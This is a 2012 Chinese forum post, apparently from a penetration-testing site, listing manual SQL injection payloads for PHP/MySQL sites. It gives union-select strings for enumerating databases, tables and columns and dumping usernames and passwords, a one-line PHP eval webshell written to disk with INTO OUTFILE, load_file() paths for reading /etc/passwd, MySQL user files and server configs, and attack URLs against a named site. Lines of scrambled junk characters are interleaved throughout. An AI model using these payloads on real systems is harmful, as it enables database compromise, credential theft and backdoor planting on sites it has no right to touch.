中国网络渗透测试联盟
标题:
PHP+MySQL 手工注入语句
[打印本页]
作者:
admin
时间:
2012-9-15 13:50
标题:
PHP+MySQL 手工注入语句
.
" K* X3 j6 p. a: {& o
R0 @/ b) L8 F
暴字段长度
, n& o; ^( M$ B3 K5 g
Order by num/*
, U1 T5 T9 R0 ? `& C1 _
匹配字段
! A% B" n- } Q+ [: a
and 1=1 union select 1,2,3,4,5…….n/*
/ }# O, k- f$ b5 D9 ~
暴字段位置
* D3 u0 g4 m4 Z5 y! w9 i: M
and 1=2 union select 1,2,3,4,5…..n/*
( e8 w1 N% y1 ]. l
利用内置函数暴数据库信息
: i2 @) H. k6 R) c; M5 _5 S3 q
version() database() user()
! G. M3 C- W2 ~ R) F% d9 g0 _9 ^
不用猜解可用字段暴数据库信息(有些网站不适用):
# o+ C4 A9 Q+ }. q/ ^/ d
and 1=2 union all select version() /*
$ u [5 g% h5 N5 ]
and 1=2 union all select database() /*
" E8 U/ Y8 |4 A) S5 Y; Z( p" Y
and 1=2 union all select user() /*
# l5 Q& r' A, R0 w c2 N
操作系统信息:
; `; \# X$ n6 c. i$ d* [
and 1=2 union all select @@global.version_compile_os from mysql.user /*
L* s* t/ M! j* E
数据库权限:
; |" m9 j( a B
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
$ [' \0 _$ f7 }3 ^) q o1 l
暴库 (mysql>5.0)
; c1 f( U2 j3 n' J' y7 Q
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
+ ]" ]0 n) p) n. _9 g3 U. W' _2 U
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
) w* T+ X2 q3 t- z1 v+ ^
猜表
' q+ u3 Q" @2 L2 p+ d8 \. |/ o
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
, i2 X5 `) d1 f
猜字段
) v [# L& X! P' j _- @
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
5 K0 s0 L2 T5 }& B6 A; n
暴密码
3 o* t9 U# E' h
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
& [' l3 O$ |2 Q9 `
高级用法(一个可用字段显示两个数据内容):
$ O! @ q. e# p( m& m& ?7 B4 f
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
& `5 ^# _1 V$ ^2 a$ u$ s" T4 s1 ^6 D
直接写马(Root权限)
/ R* O" A: y9 ^! x
条件:1、知道站点物理路径
; Y$ R& Z! r+ U( k1 e4 z( k
2、有足够大的权限(可以用select …. from mysql.user测试)
5 ^) ~9 i! K$ U
3、magic_quotes_gpc()=OFF
0 ?$ u# L! S) q/ ], W) T
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'
; H8 @$ |$ J0 Z/ I$ i% K8 F0 u# Y
and 1=2 union all select 一句话HEX值 into outfile '路径'
/ q4 B+ e. U: U# w& K, h7 N
load_file() 常用路径:
+ M, I" J- L" o6 |9 `9 Z
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
6 O' H( T. L% b' {- T
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
- h: y& U6 @" E& A0 s' D# U
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
6 P# u G- K+ }; Y3 N
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
' V( o: Y/ G1 n) l B2 j' \
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
* f U! F( }( c$ b; o) W( k. Y; O
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
( h$ c8 O7 L5 \* h2 j
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
& s. a% W' {4 W8 T: r/ P/ y1 K) C8 _
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
- p3 p4 v+ w5 t
8、d:\APACHE\Apache2\conf\httpd.conf
z' g$ K+ N, A: D7 S6 G
9、C:\Program Files\mysql\my.ini
4 Z* k& s& S8 E
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
6 z) J* X( c5 Z' w* q% ~
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
8 L( S8 H9 p6 [+ G" T2 z
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
4 G; s$ E, j w, `4 p: g1 h) @
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
3 h1 l$ n6 `. M
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
' E2 R% Y0 G/ G- L
15、 /etc/sysconfig/iptables 本看防火墙策略
; t0 {& @' l! s- y( Y9 n* [ j# V3 B
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
$ I8 H! M4 o9 R- L, Y1 H
17 、/etc/my.cnf MYSQL的配置文件
" C9 S7 [' V, [4 u
18、 /etc/redhat-release 红帽子的系统版本
6 [) \; s" A9 q, E* T; h# ]7 R
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
6 I" _& x1 S B
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
9 }1 o7 T+ K5 S6 u1 H
21、/usr/local/app/php5 b/php.ini //PHP相关设置
4 ]5 L7 {0 }+ t2 @* w" L6 W8 L
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
' s! ] N8 Y0 ?
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
% B, P2 X9 b' \5 d& } ?
24、c:\windows\my.ini
: @8 s q8 E3 J3 Y
25、c:\boot.ini
/ A k% Z! E- D+ ~# {
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
' W+ d- {3 [) |) @- T% r0 w
注:
' Z w( y/ z/ u2 _) d# F6 g) [
Char(60)表示 <
- E2 Z$ K" H7 F
Char(32)表示 空格
( f1 s/ [ I3 B% f+ F7 p" W
手工注射时出现的问题:
4 f4 ^$ P' D( _4 k
当注射后页面显示:
y0 c/ J( ]. t# ]
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
6 e9 E% \ F5 f, b# Y1 P9 X
如:
http://www.hake.ccc./mse/researc ... 0union%20select%201
,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
" s: s+ j% `: f/ U& {
这是由于前后编码不一致造成的,
1 S8 o$ [, S1 v0 V' J3 G: @
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/ x+ N, }; s; w
http://www.hake.cc/mse/research/ ... 0union%20select%201
,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
" A9 Z' g/ N$ K2 O$ Z
既可以继续注射了。。。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2